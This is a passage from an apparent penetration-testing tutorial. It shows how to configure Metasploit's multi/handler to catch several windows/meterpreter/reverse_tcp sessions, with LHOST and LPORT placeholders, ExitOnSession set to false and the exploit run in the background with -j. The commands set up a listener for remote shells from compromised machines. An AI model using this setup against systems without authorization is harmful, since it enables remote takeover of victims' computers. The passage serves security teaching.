While the examples above offer a glimpse of the available payloads, there are many more to explore. These examples are merely illustrative. To view information on all available payloads, please use the following command.

Multi Handler Listening

To get multiple session on a single multi/handler, you need to set the ExitOnSession option to false and run the exploit -j instead of just the exploit. In this example, I will show for meterpreter/reverse_tcp payload,

khitminnyo@kali:~#  msfconsole -q

In Metasploit Framework >>

msf6   >   use   exploit/multi/handler

Payload is what you setup in msfvenom.

msf6   >   set    PAYLOAD   windows/meterpreter/reverse_tcp

msf6   >   set   LHOST   (YourIP)

msf6   >   set   LPORT    (YourPort)

msf6   >   set     ExitOnSession   false 

msf6   >   exploit    -j 

The -j option in msf exploit is to keep all the connected session in the background.
